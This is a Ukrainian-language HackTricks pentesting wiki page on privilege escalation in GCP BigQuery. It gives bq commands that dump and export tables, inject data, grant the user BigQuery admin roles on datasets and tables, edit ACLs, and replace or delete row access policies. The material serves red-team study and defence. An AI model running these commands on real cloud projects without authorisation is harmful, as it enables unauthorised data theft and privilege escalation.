GCP - BigQuery Privesc

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

BigQuery

Для отримання додаткової інформації про BigQuery перегляньте:

GCP - Bigquery Enum

Читання таблиці

Читання інформації, що зберігається в таблиці BigQuery, може дозволити знайти sensitive information. Для доступу до інформації потрібні дозволи bigquery.tables.get, bigquery.jobs.create та bigquery.tables.getData:

bash
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Експорт даних

Це ще один спосіб доступу до даних. Експортуйте їх у хмарне сховище і завантажте файли з інформацією.
Для виконання цієї дії потрібні наступні дозволи: bigquery.tables.export, bigquery.jobs.create та storage.objects.create.

bash
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Вставка даних

Можливо, що ввести певні довірені дані в таблицю Bigquery, щоб зловживати вразливістю в іншому місці. Це можна легко зробити з правами bigquery.tables.get, bigquery.tables.updateData та bigquery.jobs.create:

bash
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

Зловмисник може зловживати цим правом, щоб надати собі додаткові дозволи на набір даних BigQuery:

bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Ця дозволяє оновити ваш доступ до набору даних BigQuery, змінюючи ACL, які вказують, хто може отримати доступ до нього:

bash
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>

bigquery.tables.setIamPolicy

Зловмисник може зловживати цим правом, щоб надати собі додаткові дозволи на таблицю BigQuery:

bash
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

Згідно з документацією, з вказаними дозволами можливо оновити політику рядка.
Однак, використовуючи cli bq вам потрібно ще дещо: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used

Можливо знайти ID фільтра у виході перерахунку політик рядків. Приклад:

bash
bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09

Якщо у вас є bigquery.rowAccessPolicies.delete замість bigquery.rowAccessPolicies.update, ви також можете просто видалити політику:

bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

caution

Іншим потенційним варіантом обходу політик доступу до рядків може бути просто зміна значення обмежених даних. Якщо ви можете бачити лише тоді, коли term дорівнює Cfba, просто змініть всі записи таблиці, щоб мати term = "Cfba". Однак це заважає bigquery.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks